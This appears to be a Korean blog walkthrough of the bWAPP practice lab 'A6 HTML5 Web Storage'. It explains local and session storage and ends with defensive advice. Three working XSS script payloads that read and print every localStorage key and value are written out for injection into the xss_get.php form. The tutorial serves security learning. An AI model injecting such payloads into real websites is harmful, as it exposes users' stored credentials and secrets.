Code::Security/비박스(BWAPP)

비박스(bWAPP) A6 HTML5 Web Storage (Secret)

태군 코드 2022. 9. 19. 15:51
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
 

A6 - HTML5 Web Storage (Secret)

 

HTML5는 웹 저장소를 사용하여 쿠키를 대체합니다. 쿠키와는 다르게 서버와의 통신 과정에서 매번 쿠키를 전송하지 않기 때문에 네트워크에서 안전하다는 장점이 있지만, 클라이언트에서 정보를 수정할 수 있어 XSS 공격이 가능합니다.

 

Web Storage는 도메인당 약 5MB 크기의 저장 공간을 지원합니다. 기존의 쿠키 기능을 개선하여 ‘키-값’ 형태로 데이터를 저장하고 관리할 수 있게 해주는 API입니다.

 

Web Storage 정보 탈취

Web storage는 세션 스토리지와 로컬 스토리지로 나뉩니다. 웹사이트와 관련된 콘텐츠를 사용자의 컴퓨터에 저장하고 자바스크립트를 이용하여 접근 및 통제를 할 수 있습니다. 저장할 수 있는 데이터의 용량은 브라우저의 종류에 따라 다르나 일반적으로 도메인당 5MB 정도의 크기를 사용할 수 있습니다.

 

Session Storage
브라우저 혹은 탭을 종료할 경우 데이터가 삭제

Local Storage
해당 영역에는 모든 텍스트 값을 저장할 수 있습니다. 사용자 혹은 웹 애플리케이션에 의해서 생성/삭제될 수 있으며, 브라우저를 종료해도 데이터들은 삭제되지 않습니다.

 

insecure_crypt_storage_1.php

insecure_crypt_storage_1.php 페이지를 살펴보면 귀하의 로그인 이름과 비밀은 HTML5 웹 저장소로 저장되었습니다! 힌트 : XSS를 사용하여 잡으려고 합니다.라는 메시지를 확인할 수 있습니다. 힌트에 에서 나온 내용으로 XSS로 HTML5 웹 저장소 취약점을 찾으려면 xss_get.php 페이지를 통해서 확인이 가능합니다.

 

난이도 하

xss_get.php

xss_get.php 페이지로 이동하여 HTML5 웹 저장소의 내용을 출력하는 스크립트를 입력하여 줍니다.

 

스크립트 코드 입력

First name

<script>
try{

        var result = "";
        for(var key in localStorage) {

                result += "<br><br>" + key + "=" + '</b> : ' + localStorage.getItem(key) + ";";
        }
        document.write(result);
}
catch(error){
        alert(error.message);
}
</script>

 

Last name

아무 내용 입력

 

값을 입력 후 [Go] 버튼을 누르면. 스크립트 코드가 실행되어 HTML 웹 저장소에 저장된 비밀번호 힌트와 아이디를 출력합니다.

 

- localStorage.getItem(key) : 해당 key의 값을 가져옴
- localStorage.setItem(key, value)
- localStorage.key = value : 해당 'key'에 'value' 값을 저장

 

스크립트 코드

#1
<script>
try{
	var result = "";
	for(var key in localStorage) {
		result += "<br><br>" + key + "=" + '</b> : ' + localStorage.getItem(key) + ";";
	}
	
	alert(result);
}
catch(error){
	alert(error.message);
}
</script>

#2
<script>
try{
	var result = "";
	for(var key in localStorage) {
		result += "<br><br>" + key + "=" + '</b> : ' + localStorage.getItem(key) + ";";
	}
	
	document.write(result);
}
catch(error){
	alert(error.message);
}

</script>

#3
<script>
	for(var key in localStorage) {
		document.write('<br><br>' + key + '</b> : ' + localStorage[key])
	
	};
</script>

 

반응형

 

난이도 중/상

xss_get.php 소스코드
크롬 개발자 도구

난이도 중/상에서는 로컬 저장소에 저장된 비밀번호 힌트를 출력할 때 SHA-1 해시 함수의 반환 값으로 사용하고 있습니다.

 

Web Storage는 공격 대상 사이트의 XSS 취약점을 이용하는 것으로 시작됩니다. 때문에 XSS에 대한 대응 조치(IPS, 웹 방화벽 혹은 보안 코딩 등)가 되어 있다면 공격을 완화할 수 있습니다. 그리고 웹 애플리케이션 개발자는 평문 상태로 데이터를 저장하는 Local Storage에 사용자의 민감한 정보를 저장하지 않도록 하거나 암호화를 적용해 저장하도록 구현함으로써 정보 관리에 유의하도록 해야 합니다.

 

참고

https://www.w3schools.com/html/html5_webstorage.asp

 

반응형